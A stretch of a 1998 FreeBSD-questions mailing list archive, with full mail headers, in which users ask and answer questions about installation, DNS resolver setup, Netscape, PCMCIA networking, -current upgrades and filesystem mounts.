[24.0.177.213]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA13092 for ; Sun, 5 Apr 1998 14:18:45 -0700 (PDT) (envelope-from ifield@mstk.com) Message-Id: <199804052118.OAA13092@hub.freebsd.org> Received: from arthur (206.214.2.66 [206.214.2.66]) by alpha.mstk.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id HG671M14; Sun, 5 Apr 1998 14:22:52 -0700 From: "Ian Field" To: Subject: Recall: PAO / Kernel compile errors Date: Sat, 5 Apr 1997 13:14:01 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Expiry-Date: Mon, 7 Apr 1997 13:14:00 -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Field, Ian would like to recall the message, "PAO / Kernel compile errors". To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 14:19:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA13545 for freebsd-questions-outgoing; Sun, 5 Apr 1998 14:19:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alpha.mstk.com (cx93934-a.vista1.sdca.home.com [24.0.177.213]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA13387 for ; Sun, 5 Apr 1998 14:19:46 -0700 (PDT) (envelope-from ifield@mstk.com) Message-Id: <199804052119.OAA13387@hub.freebsd.org> Received: from arthur (206.214.2.66 [206.214.2.66]) by alpha.mstk.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id HG671M1W; Sun, 5 Apr 1998 14:23:52 -0700 From: "Ian Field" To: Subject: Recall: PAO / Kernel compile errors Date: Sat, 5 Apr 1997 13:14:59 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Expiry-Date: Mon, 7 Apr 1997 13:14:57 -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Field, Ian would like to recall the message, "PAO / Kernel compile errors". To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 14:21:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA14481 for freebsd-questions-outgoing; Sun, 5 Apr 1998 14:21:33 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA14366 for ; Sun, 5 Apr 1998 14:21:15 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id OAA23967; Sun, 5 Apr 1998 14:20:58 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <3527F5BA.7D82384C@san.rr.com> Date: Sun, 05 Apr 1998 14:20:58 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: Dean Hollister CC: Dima Dorfman , FreeBSD Questions Subject: Re: DNS server? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dean Hollister wrote: > > On Sat, 4 Apr 1998, Dima Dorfman wrote: > > > The file resolv.conf doesn't exist! > > Niether does /etc/sysconfig in which I was told to look in! /etc/sysconfig is now /etc/rc.conf > It should reside in > > /etc > > and look like this: > > domain apana.org.au > nameserver 203.11.114.1 > nameserver 127.0.0.0 > nameserver 203.14.168.3 > nameserver 203.59.24.3 > nameserver 192.188.107.12 The man page for resolv.conf in -Stable says that it only allows 3 nameserver entries. Not sure if that's true in -Current or what you're running though. Good luck, Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 14:26:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA16135 for freebsd-questions-outgoing; Sun, 5 Apr 1998 14:26:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from endeavor.flash.net (endeavor.flash.net [209.30.0.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA16060 for ; Sun, 5 Apr 1998 14:26:20 -0700 (PDT) (envelope-from anthony@sohopros.com) From: anthony@sohopros.com Received: from anthony.flashnet (fwasc10-233.flash.net [209.30.15.233]) by endeavor.flash.net (8.8.8/8.8.5) with SMTP id QAA06648 for ; Sun, 5 Apr 1998 16:26:18 -0500 (CDT) Message-Id: <3.0.32.19980405162520.008ef870@pop.flash.net> X-Sender: anthony@pop.flash.net X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sun, 05 Apr 1998 16:25:22 -0500 To: freebsd-questions@FreeBSD.ORG Subject: help running netscape v4.05 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have been trying to run the new version of netscape and am having problems getting it to start. After I ran the ./ns-install I tried to start netscape by changing to the netscape dir and typing ./netscape. It gives me a error saying "bad address". Does anyone know what I am doing wrong? Is there a different way to start the new version? Thanks, Anthony ..... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 14:27:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA16259 for freebsd-questions-outgoing; Sun, 5 Apr 1998 14:27:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA16129 for ; Sun, 5 Apr 1998 14:26:39 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node35.mpc.com.br [200.246.0.35]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id SAA26094; Sun, 5 Apr 1998 18:25:41 -0300 (EST) Message-Id: <3.0.32.19980406061926.00b7e7a0@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 06 Apr 1998 06:21:59 -0300 To: Delete@ADEPT.CO.ZA, freebsd-questions@FreeBSD.ORG From: Capriotti Subject: Re: Stupid Question Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi ! Glad to hear about your interested ! Take a closer look at this: http://www.freebsd.org/handbook/install.html and http://www.freebsd.org/FAQ/FAQ21.html At 07:57 PM 4/5/98 +0200, Delete wrote: >I don't want to offend anyone and I might sound stupid but which files >do u need to download to have this operating system. > >Please help me. > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 14:28:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA16823 for freebsd-questions-outgoing; Sun, 5 Apr 1998 14:28:42 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA16422 for ; Sun, 5 Apr 1998 14:27:43 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node35.mpc.com.br [200.246.0.35]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id SAA26103; Sun, 5 Apr 1998 18:25:48 -0300 (EST) Message-Id: <3.0.32.19980406062149.00aa8ca0@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 06 Apr 1998 06:22:01 -0300 To: "Martin Von_Schantz" , questions@FreeBSD.ORG From: Capriotti Subject: Re: ip Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ahmmmmmm... AFAIK, the IP address you pick for your machine will not interfere on your connection to the internet using ppp w/ a dynamic address. pick any of the which does not exist on the NET, and that's it. At 07:19 AM 4/5/98 PDT, Martin Von_Schantz wrote: >Does anyone know how to set a static ip adress to my system? >And how do I avoid the modem connection from having that >ip when I call my ISP (I just wan't the network to have the adress)? > >//Martin von Schantz > >______________________________________________________ >Get Your Private, Free Email at http://www.hotmail.com > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 14:38:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA20557 for freebsd-questions-outgoing; Sun, 5 Apr 1998 14:38:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from pobox1.oit.umass.edu (mailhub.oit.umass.edu [128.119.166.151]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA20509 for ; Sun, 5 Apr 1998 14:38:34 -0700 (PDT) (envelope-from gp@mail.inconnect.com) Received: from mail.inconnect.com (nscs24p5.remote.umass.edu) by pobox1.oit.umass.edu (PMDF V5.1-10 #20973) with ESMTP id <0EQY009OKMRZB5@pobox1.oit.umass.edu> for freebsd-questions@FreeBSD.Org; Sun, 5 Apr 1998 17:38:31 -0400 (EDT) Date: Sun, 05 Apr 1998 16:40:27 +0000 (GMT) From: Greg Pavelcak Subject: Re: New information... In-reply-to: <3527C2CB.B1CA883B@ic.sunysb.edu> To: jsabella@ic.sunysb.edu Cc: freebsd-questions@FreeBSD.ORG Message-id: <0EQY009OOMS2B5@pobox1.oit.umass.edu> MIME-version: 1.0 Content-type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 5 Apr, Jason Sabella wrote: > Hi Neil. I have the Gateway 2000 G6266 with the 6.4GIG hdd and the > Promise Ultra DMA like you had said. I'm not sure if you saw some older > messages of mine, but I'm trying to install it onto the empty 2.1 GIGS > at the end of the disk(The first 2.1 GIGS is for DOS's C partition and > the middle 2.1 GIGS is for DOS's D partition). But anyways, FreeBSD > can't read the controller. When I go to install FreeBSD from the > CD-ROM, I run install.bat, which executes the line: > > fbsdboot.exe -D kernel > > You had said to add the -current parameter, but it doesn't recognize > such a parameter. Is this where you wanted me to type it in or is it > somewhere else? Any help will be greatly appreciated. > Thank you, > Jason Sabella > --- > Jason, Been following this thread some. "-current" is not a parameter for you to type in, it is the "bleeding edge" version of FreeBSD. It's not too difficult to switch to -current; however, you need to decide if you really want to. I suppose if that's the only place for Promise Ultra33 support, then you don't have much choice other than to give up on the Ultra DMA (I'm not sure if that's supported outside of -current either). Read the Handbook section on "Staying Current" carefully (Since you're sending e-mail, I'm assuming you can get the FreeBSD docs either on a CD or at the web site). Also read any other stuff on -current and "making the world" that you can find. Believe the warnings!! Just in the past few weeks people running current have had file systems hosed because of bugs that sneak in. One possibility that's somewhat safer is to upgrade to an old -current instead of a new one (**man cvsup** you can specify the date of the sources you want). I installed sources from Feb 26 and they seem to be OK; however, I am not what you would call a power user. I started to use -current out of curiosity--like a kid who has to touch the burner because he doesn't his parents when they tell hime it's hot. I'm posting back to the list so that others who have advice on using current can chime in. Good luck. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 14:43:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA21976 for freebsd-questions-outgoing; Sun, 5 Apr 1998 14:43:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA21928 for ; Sun, 5 Apr 1998 14:43:21 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id OAA24008; Sun, 5 Apr 1998 14:43:02 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <3527FAE5.BE4DA18@san.rr.com> Date: Sun, 05 Apr 1998 14:43:01 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: Delete@ADEPT.CO.ZA CC: freebsd-questions@FreeBSD.ORG Subject: Re: Stupid Question References: <3527C605.203C@ADEPT.CO.ZA> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Delete wrote: > > I don't want to offend anyone and I might sound stupid but which files > do u need to download to have this operating system. Go to ftp://ftp.freebsd.org/pub/FreeBSD/2.2.6-RELEASE and read all of the *.TXT documents. That should get you going. :) Good luck, Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 14:54:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA24066 for freebsd-questions-outgoing; Sun, 5 Apr 1998 14:54:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA24015 for ; Sun, 5 Apr 1998 14:54:24 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id OAA24336; Sun, 5 Apr 1998 14:54:18 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <3527FD8A.F8844392@san.rr.com> Date: Sun, 05 Apr 1998 14:54:18 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: anthony@sohopros.com CC: freebsd-questions@FreeBSD.ORG Subject: Re: help running netscape v4.05 References: <3.0.32.19980405162520.008ef870@pop.flash.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG anthony@sohopros.com wrote: > > I have been trying to run the new version of netscape > and am having problems getting it to start. After I > ran the ./ns-install I tried to start netscape by > changing to the netscape dir and typing ./netscape. > It gives me a error saying "bad address". Does anyone > know what I am doing wrong? Is there a different way > to start the new version? I would suggest that you install it from the ports collection. I'm using 4.05 now and it works fine. Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 14:59:44 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA25105 for freebsd-questions-outgoing; Sun, 5 Apr 1998 14:59:44 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from atrophy.dyn.ml.org (pissed@ppp135118.usmo.com [206.100.135.118]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA25097 for ; Sun, 5 Apr 1998 14:59:22 -0700 (PDT) (envelope-from vile@atrophy.dyn.ml.org) Received: (from vile@localhost) by atrophy.dyn.ml.org (8.8.8/8.8.8) id QAA08622; Sun, 5 Apr 1998 16:12:07 -0500 (CDT) (envelope-from vile) Message-ID: <19980405161205.17107@atrophy.dyn.ml.org> Date: Sun, 5 Apr 1998 16:12:05 -0500 From: Anber Rybar To: questions@FreeBSD.ORG Subject: ln -s Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89.1i Organization: The Yalta Underground X-Operating-System: FreeBSD 2.2.6-RELEASE Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have a question with a rather obvious answer to ask you, and then one with a slightly less obvious answer. The first might be construed as a complaint, which it is. Shouldn't you be able to remove a soft-link to a directory without it following the link? Yes. Why in God's name does FreeBSD's default ln follow soft links to directories? The copy of ln that ships with FreeBSD will make a soft link to a directory a hard link. I want to know why. -- ( "Phase it out until the older ones return, have a seat and watch it burn." ) ( -Dave Grohl (Foo Fighters) **** vile@usmo.com * http://www.usmo.com/~vile ) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:15:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA27848 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:15:04 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason03.u.washington.edu (root@jason03.u.washington.edu [140.142.77.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA27807 for ; Sun, 5 Apr 1998 15:14:44 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul6.u.washington.edu (root@saul6.u.washington.edu [140.142.82.1]) by jason03.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id PAA32444 for ; Sun, 5 Apr 1998 15:14:44 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul6.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id PAA32330 for ; Sun, 5 Apr 1998 15:14:42 -0700 (PDT) Date: Sun, 5 Apr 1998 14:13:31 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: FreeBSD-questions Subject: A correction to some of my recent posts Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Anyone who has asked about installation recently was referred to an incorrect URL by me. This message applies to a half a dozen people. Sorry for any inconvenience. The correct URL was http://www.freebsd.org/handbook/install.html Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:24:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA00122 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:24:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from metronet.com (root@feenix.metronet.com [192.245.137.1]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id PAA29787 for ; Sun, 5 Apr 1998 15:23:54 -0700 (PDT) (envelope-from tony@metronet.com) Received: from fcn105-37.tmi.net by metronet.com with SMTP id AA06679 (5.67a/IDA1.5hp for ); Sun, 5 Apr 1998 17:25:45 -0500 Message-Id: <352811FC.7D7B@metronet.com> Date: Sun, 05 Apr 1998 16:21:32 -0700 From: tony Reply-To: tony@metronet.com Organization: personal X-Mailer: Mozilla 3.0Gold (Win16; I) Mime-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Fax, voice Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does anyone know of any applications available which would handle a voice responce systems to a fax back service. This program would recieve an incoming call on a data/voice/fax modem, make audio anouncements (menu ) the caller will press touch tones to respond to the menu and then the application will send or recieve a fax. thanks for your input. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:25:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA00596 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:25:23 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA00588 for ; Sun, 5 Apr 1998 15:25:18 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id PAA17657; Sun, 5 Apr 1998 15:24:49 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sun, 5 Apr 1998 15:24:49 -0700 (PDT) From: Doug White Reply-To: Doug White To: Ian Field cc: freebsd-questions@FreeBSD.ORG Subject: Re: PAO In-Reply-To: <199804042140.NAA13373@hub.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 4 Apr 1997, Ian Field wrote: > Working with a new laptop (A Sharp 9020) piece of crap really, but I > thought I'd try installing 2.2.6-RELEASE on it anyway. I haven't used > FreeBSD on a laptop yet, and was hoping for a little more support in the > pcmcia dept. The card I need to configure is a standard 36589d (etherlink > III) which the kernel supports (supposedly) But to no avail, enabling > pccard didn't do a thing - do I need to make a pccard.conf entry? If so, > what? You need to rebuild a kernel with the pccard devices for that to work. Try manipulating the zp device. Make sure you disable the ze device though. > After playing with the base install for awhile, I decided I needed the > PAO... the file I dl'd was PAO-971211.tar.gz, meant for 2.2.5-RELEASE (will > that be a prob?) I tried pkg_add (failed with "no +CONTENTS") then "gz -dc > | tar xvf -" and "make" (make failed with directory errors) I can't > find any install documentation on the PAO site... any clues? That isn't a package. Extract it manually and read the README. It walks you through the installation step-by-step. > Also, having problems with the machine's Cirrus Logic 754x vid > adapter and XFree86... can't seem to get it to start without freezing > (tried every config I could think of) run xf86config and select your video card type from the list -- it'll give you some sample modelines that should work. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:26:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA00921 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:26:15 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA00894 for ; Sun, 5 Apr 1998 15:26:02 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id PAA17664; Sun, 5 Apr 1998 15:26:00 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sun, 5 Apr 1998 15:25:59 -0700 (PDT) From: Doug White Reply-To: Doug White To: David Kott cc: freebsd-questions@FreeBSD.ORG Subject: Re: "Hung" Virtual terminal in -stable. Doesn't respond to "kill -KILL". In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 2 Apr 1998, David Kott wrote: > > > USER PID PPID PGID SESS JOBC STAT TT TIME COMMAND > > > root 18274 1 18274 7aace0 0 I > > > > > > That would imply a problem with vty0 (the default console). Does that > > console appear to work okay? Are you running xdm or something else on > > that console? > > > > login is probably jammed on tty output. > > > > Doug White | University of Oregon > > > root@kott [/dev]> ls /dev/vty0 > ls: /dev/vty0: No such file or directory > > *chuckle* That *may* have something to do with it. No; that device doesn't exist. It's '/dev/ttyv0'. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:28:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA01866 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:28:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA01795 for ; Sun, 5 Apr 1998 15:28:21 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id PAA17668; Sun, 5 Apr 1998 15:28:19 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sun, 5 Apr 1998 15:28:18 -0700 (PDT) From: Doug White Reply-To: Doug White To: Natalie Bales cc: freebsd-questions@FreeBSD.ORG Subject: Re: installing and configuring, help! In-Reply-To: <35255350.75C2@globalsite.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 3 Apr 1998, Natalie Bales wrote: > We are NEWBIES and we are trying to install and configure FreeBSD. I > was reading the installation manual going through everything step. The > manual suggested to move /var to /usr/var. I copied the /var directory > to /usr/var and then tried to remove /var from the root directory. I > can not successfully remove /var. Moving /var to /usr/var may not be such a great idea since in the default setup /var is it's own partition. You'll waste the space unless you remount it somewhere eles.e > I continue to get an error saying > > rm: /var: Device busy. /var is a mountpoint, so to get rid of it you need to run `umount /var'. I would suggest mounting that partition elsewhere, like on /tmp. Modify /etc/fstab and change the reference to /var to /tmp, and reboot. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:29:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA02287 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:29:23 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA02176 for ; Sun, 5 Apr 1998 15:29:12 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id PAA17672; Sun, 5 Apr 1998 15:29:09 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sun, 5 Apr 1998 15:29:09 -0700 (PDT) From: Doug White Reply-To: Doug White To: Jason Sabella cc: freebsd-questions@FreeBSD.ORG Subject: Re: FreeBSD installation In-Reply-To: <35278D29.264687C@ic.sunysb.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Jason Sabella wrote: > You are right Doug, it is reading my zip disk (which is 100mb like you > said). I watched closely at boot up, and it said wd2 is my zip drive. > I checked, and fdisk does not prompt you as to what disk you want to > use. And I went through the installation options and that is not one of > them. All it has is novice, custom, and expert installations. All do > pretty much the same and take you right into fdisk. There is no option > in fdisk to change disk. I've even tried pressing every key on the > keyboard in fdisk, thinking maybe its just not listed...It's so weird, > any suggestions? Odd. Please post your boot output so I can check that your main disk is being found. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:29:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA02409 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:29:46 -0700 (PDT) (envelope-from 